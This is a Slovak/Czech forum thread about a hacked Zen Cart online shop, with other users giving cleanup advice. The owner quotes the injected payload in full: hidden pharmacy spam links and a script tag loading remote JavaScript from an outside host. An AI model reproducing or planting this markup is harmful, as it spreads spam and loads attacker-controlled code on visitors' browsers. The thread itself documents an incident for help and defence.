uz v minulosti sa mi stalo ze ma hackli, vyriesil som to tym ze na takmer vsetky subory som odmietol prava na prepis. Momentlane mam problem takyto:
niekto mi posle RYCHLYM KONTAKTOM spravu a hned mi ju supne do nevyziadanej posty, pretoze predmet spravy aj odoslielatel je
:
LifeShop</a><div class="friends_block"><a href="http://www.ambrosiasw.com/forums/index.php?showuser=50624" alt="generic levitra">generic levitra</a>,<a href="http://www.ambrosiasw.com/forums/index.php?showuser=50584" alt="viagra side effects">via

Skusam to odstranit cez TC, uvidime, ale aj tak by ma zaujimalo ako mi to tam prepisali. Mimochodom posta pride iba mne a tomu co to pisal nepride nic. Ak Vas niekoho nieco napadne prosim portadte.
Ď.

takze upravil som to v administracii konfiguracia-> moj obchod a tam v NAZOV OBCHODU bolo:

</a><div class="friends_block"><a href="http://www.ambrosiasw.com/forums/index.php?showuser=50624" alt="generic levitra">generic levitra</a>,<a href="http://www.ambrosiasw.com/forums/index.php?showuser=50584" alt="viagra side effects">viagra side effects</a>,<a href="http://www.ambrosiasw.com/forums/index.php?showuser=50634" alt="levitra">levitra</a>,<a href="http://www.ambrosiasw.com/forums/index.php?showuser=50614" alt="viagra online">viagra online</a>,<a href="http://www.ambrosiasw.com/forums/index.php?showuser=50625" alt="generic cialis">generic cialis</a>,<a href="http://www.ambrosiasw.com/forums/index.php?showuser=50616" alt="viagra for women">viagra for women</a>,<a href="http://www.ambrosiasw.com/forums/index.php?showuser=50636" alt="buy tramadol">buy tramadol</a>,<a href="http://www.ambrosiasw.com/forums/index.php?showuser=50581" alt="is tramadol a narcotic">is tramadol a narcotic</a></div><script type="text/javascript" src="http://coyacure.k2free.com/stats.js"></script><a style="display:none" href="http://www.zen-cart.com">Zen Cart


vie niekto ako sa to tam mohlo dostat?

Tak jestli ti hackli obchod, tak se dostanou i do databáze, toť vše.

Což znamená změň heslo na ftp i do databáze + reinstaluj počítač.

Edit: ideálně v opačném pořadí :)

Bych mohl vyprávět, lezou ti na FTP, řešil jsem to nedávno a bylo mi 14 dnů pěkně ouzko, protože se to týkalo osmi webů, z toho 6x zencart a 3x jomla.
Nevěř žádnému klientovi, který ukládá hesla, přešel jsem z TC na FileZillu a za dva dny byly viry zpátky. teď jsem si vymyslel jako hesla krátké věty prokládané písmeny a čísly a hesla už neukládám, od té doby je klid.

okej, zmenim hesla, no a ako vymazem virus? pretoze momentalne ked posielam mail na gmail, azet, post atd. tak mi pride mail spat s info o nemoznosti dorucenia ako je : Service unavailable; Client host [195.91.54.121] blocked using sbl-xbl.spamhaus.org; http://www.spamhaus.org/query/bl?ip=195.91.54.121

uz som preinstaloval PC, co dalej, aby som bol bezpecny?

Citát:

použi tzv. absolútny firewall: odpoj sa od internetu a natiahni na PC šprcku....

tebe to pomohlo?

Momentálně jsou už nové napadení a místo iframe vkládají script, který stránku ani nemusí nijak rozhodit.
Nevíte někdo jestli se dá zjistit jestli byla napadena také mysql?

myslim že není nic čím by se dala porovnat baze u zencart. co se týká toho zbytku... pokud používáš věci třeba od google a nebo i jine tak prvni čím lze zjístit zda tam něco prochází.. poměr nové/návrat. pokud máš poměr návratu cca 70-90% může to být podezřelé a pořád někde něco asi je. ale musí se to brát s rezervou, protože u někoho může být poměr za normálních podmínek třeba 75%. každý to může mít jinak.

Citát:

hosi prosim Vas co mam s tym robit,aby mi zas slo posielat maily normalne?